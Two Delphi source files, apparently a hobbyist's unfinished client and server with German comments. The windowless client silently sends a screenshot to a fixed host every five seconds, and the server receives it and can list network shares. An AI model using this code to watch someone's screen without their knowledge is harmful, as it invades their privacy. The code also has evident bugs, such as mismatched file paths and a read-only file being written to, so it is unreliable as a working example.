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program client;

uses
  Windows,
  Messages,
  SysUtils,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  StdCtrls,
  ScktComp,
  ExtCtrls,
  Jpeg;

{$R *.RES}

var
 ClientSocket: TClientSocket;
 FStream: TFileStream;
 Str: TMemoryStream;

procedure ScreenToFile(aFileName: string);
var 
  Bitmap: TBitmap;
  Jpeg  : TJpegImage;
  Canvas: TCanvas;
begin
  Canvas := TCanvas.Create;
  try
    Canvas.Handle := GetWindowDC(0);
    try
      Bitmap := TBitmap.Create;
      Jpeg   := TJpegImage.Create;
      try 
        Bitmap.Width := Screen.Width;
        Bitmap.Height:= Screen.Height;
        Bitmap.PixelFormat := pfDevice;
        BitBlt(Bitmap.Canvas.Handle, 0, 0, Pred(Screen.Width), Pred(
            Screen.Height), Canvas.Handle, 0,
            0, Bitmap.Canvas.CopyMode);
        Jpeg.Assign(Bitmap);
        Jpeg.SaveToFile(aFileName);
      finally
        Bitmap.Free;
        Jpeg.free;
      end;
    finally
      ReleaseDC(0, Canvas.Handle);
    end;
  finally
    Canvas.Free;
  end;
end;

procedure ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
var i : Integer;
begin
 //ScreenToFile('C:\screem.jpg');
end;

// HAUPTPROGRAMMM

begin
  ClientSocket := TClientSocket.Create(nil);
  ClientSocket.Port := 305;
  ClientSocket.Host := 'xp-4lg0ndkjxkp7';

  @ClientSocket.OnConnect := @ClientSocket1Connect;
  ClientSocket.Active := True;

  while 30=30 do
   begin
    ScreenToFile(ExtractFilePath(Application.Exename)+'screen.jpg');

    FStream := TFileStream.Create('C:\screen.jpg', fmOpenReadWrite);
    ClientSocket.Socket.SendStream(FStream);
    FStream.Free;
    
    sleep(5000);
    Application.ProcessMessages;
   end;
end.					

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unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp,
  StdCtrls, ExtCtrls, jpeg, ShellAPI;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Image1: TImage;
    Label1: TLabel;
    Label2: TLabel;
    Timer1: TTimer;
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientRead(Sender: TObject;
     Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure GetNetwork;
    procedure Timer1Timer(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;
  ServerSocket: TServerSocket;
  FStream: TFileStream;
  SizeOfFile: Integer;
  pBuffer: Pointer;
  AlreadyReceived: integer;
  FileStream: TFileStream;
  Buffer: array[0..4096] of Byte;
  SizeOfBuffer: integer;

implementation

{$R *.DFM}
{$R xp.res}

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin 
 FStream := TFileStream.Create('C:\server.jpg',fmopenread);
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  Buffer: array[0..8096] of Byte;
  SizeOfBuffer: integer;
begin
  try
    pBuffer := @Buffer;
    SizeOfBuffer := Socket.ReceiveBuf(pBuffer^, 8096);
    FStream.Write(pBuffer^, SizeOfBuffer);
    Inc(AlreadyReceived, SizeOfBuffer);
    Socket.SendText(IntToStr(AlreadyReceived));
    Application.ProcessMessages;
  finally
  end;
end;

procedure TForm1.GetNetwork;
Procedure Enum(h: THandle);
   Var
      I            : Integer;
      nRes,cbBuf   : Integer;
      he            : THandle;
      Nr         : Array [0..99] Of TNetResource;
   Begin
      nRes:=100;
      cbBuf:=Sizeof(Nr);
      FillChar(Nr,SizeOf(Nr),0);
      WNetEnumResource(h,nRes,@Nr,cbBuf); //hier liegt das Problem!!!
      For I:=0 To nRes-1 Do 
      Begin 
         If (Nr[I].dwDisplayType In [RESOURCEDISPLAYTYPE_DOMAIN, 
                                     RESOURCEDISPLAYTYPE_SERVER]) And 
             Assigned(Nr[i].lpRemoteName) Then
               Listbox1.Items.Add(Nr[i].lpRemoteName);
         If Nr[i].dwDisplayType In [RESOURCEDISPLAYTYPE_NETWORK, 
                                    RESOURCEDISPLAYTYPE_DOMAIN] Then 
         Begin 
            WNetOpenEnum(RESOURCE_GLOBALNET, 
                         RESOURCETYPE_DISK, 
                         RESOURCEUSAGE_CONTAINER,@Nr[I],he); 
            Enum(he);
            WNetCloseEnum(he); 
         End; 
      End; 
   End; 
Var 
   he         : THandle; 
Begin 
   Listbox1.Items.Clear;
   WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 
   RESOURCEUSAGE_CONTAINER, nil, he); 
   Enum(he); 
   WNetCloseEnum(he);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ServerSocket := TServerSocket.Create(Form1);
  ServerSocket.Port := 305;
  ServerSocket.Active := True;

  ServerSocket.OnClientConnect := ServerSocket1ClientConnect;
  ServerSocket.OnClientRead := ServerSocket1ClientRead;
  //GetNetwork;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
// FileStream := TFileStream.Create('C:\server.jpg', fmCreate or fmOpenRead);
end;

end.					

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